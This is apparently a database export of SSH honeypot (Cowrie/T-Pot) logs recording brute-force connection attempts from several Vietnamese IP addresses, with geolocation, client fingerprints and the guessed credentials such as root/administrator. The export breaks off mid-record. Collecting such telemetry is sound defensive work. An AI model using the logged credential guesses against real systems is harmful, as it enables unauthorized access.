21462	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:55.28561+03	2021-09-20 14:15:03.697649+03	{"_id": "bAbjAnwBvYTbRNuEMgQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [info/info123] failed", "session": "f86d8dbebc6a", "@version": "1", "password": "info123", "username": "info", "timestamp": "2021-09-20T11:06:55.285610Z", "@timestamp": "2021-09-20T11:06:55.285Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21463	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:55.287598+03	2021-09-20 14:15:03.698648+03	{"_id": "bQbjAnwBvYTbRNuEMgQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "25de37ec5487", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:55.287598Z", "@timestamp": "2021-09-20T11:06:55.287Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21464	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:55.288817+03	2021-09-20 14:15:03.699613+03	{"_id": "bgbjAnwBvYTbRNuEMgQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "25de37ec5487", "@version": "1", "timestamp": "2021-09-20T11:06:55.288817Z", "@timestamp": "2021-09-20T11:06:55.288Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21465	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:55.320092+03	2021-09-20 14:15:03.700642+03	{"_id": "bwbjAnwBvYTbRNuEMgQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 9 seconds", "session": "66af4621e8ae", "@version": "1", "duration": 9.842645406723022, "timestamp": "2021-09-20T11:06:55.320092Z", "@timestamp": "2021-09-20T11:06:55.320Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21468	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:55.472522+03	2021-09-20 14:15:03.704643+03	{"_id": "cgbjAnwBvYTbRNuEMgQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [open/open] failed", "session": "2523bada16f3", "@version": "1", "password": "open", "username": "open", "timestamp": "2021-09-20T11:06:55.472522Z", "@timestamp": "2021-09-20T11:06:55.472Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21469	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:55.480905+03	2021-09-20 14:15:03.705643+03	{"_id": "cwbjAnwBvYTbRNuEMgQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [test/Time88] failed", "session": "1e23fa26a58c", "@version": "1", "password": "Time88", "username": "test", "timestamp": "2021-09-20T11:06:55.480905Z", "@timestamp": "2021-09-20T11:06:55.480Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21470	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:55.489666+03	2021-09-20 14:15:03.706612+03	{"_id": "dAbjAnwBvYTbRNuEMgQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [admin/passwordUnited] failed", "session": "dc7ac314b893", "@version": "1", "password": "passwordUnited", "username": "admin", "timestamp": "2021-09-20T11:06:55.489666Z", "@timestamp": "2021-09-20T11:06:55.489Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21471	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:55.505608+03	2021-09-20 14:15:03.707613+03	{"_id": "dQbjAnwBvYTbRNuEMgQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "6b231ad97296", "@version": "1", "timestamp": "2021-09-20T11:06:55.505608Z", "@timestamp": "2021-09-20T11:06:55.505Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21472	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:55.575256+03	2021-09-20 14:15:03.709612+03	{"_id": "dgbjAnwBvYTbRNuEMgQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "2af10c41b284", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:55.575256Z", "@timestamp": "2021-09-20T11:06:55.575Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21473	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:55.578319+03	2021-09-20 14:15:03.710612+03	{"_id": "dwbjAnwBvYTbRNuEMgQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "6c67bb7f16fc", "@version": "1", "duration": 2.837618589401245, "timestamp": "2021-09-20T11:06:55.578319Z", "@timestamp": "2021-09-20T11:06:55.578Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21474	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:55.60077+03	2021-09-20 14:15:03.711645+03	{"_id": "eAbjAnwBvYTbRNuEMgQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/administrator] failed", "session": "c34f38c05d42", "@version": "1", "password": "administrator", "username": "root", "timestamp": "2021-09-20T11:06:55.600770Z", "@timestamp": "2021-09-20T11:06:55.600Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21475	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:55.627278+03	2021-09-20 14:15:03.712642+03	{"_id": "eQbjAnwBvYTbRNuEMgQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "edb62f6149f3", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:55.627278Z", "@timestamp": "2021-09-20T11:06:55.627Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21476	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:55.8424+03	2021-09-20 14:15:03.713643+03	{"_id": "egbjAnwBvYTbRNuEMgQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "204e4ebdbd75", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:55.842400Z", "@timestamp": "2021-09-20T11:06:55.842Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21477	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:55.853416+03	2021-09-20 14:15:03.714643+03	{"_id": "ewbjAnwBvYTbRNuEMgQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "2af10c41b284", "@version": "1", "timestamp": "2021-09-20T11:06:55.853416Z", "@timestamp": "2021-09-20T11:06:55.853Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21478	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:55.898552+03	2021-09-20 14:15:03.716643+03	{"_id": "fAbjAnwBvYTbRNuEMgQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "1f9927d187ae", "@version": "1", "duration": 2.9513096809387207, "timestamp": "2021-09-20T11:06:55.898552Z", "@timestamp": "2021-09-20T11:06:55.898Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21484	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:57.04914+03	2021-09-20 14:15:03.723614+03	{"_id": "owbjAnwBvYTbRNuENQTh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:51052 (192.168.176.2:22) [session: 28bf660714c4]", "session": "28bf660714c4", "@version": "1", "protocol": "ssh", "src_port": 51052, "dest_port": 22, "timestamp": "2021-09-20T11:06:57.049140Z", "@timestamp": 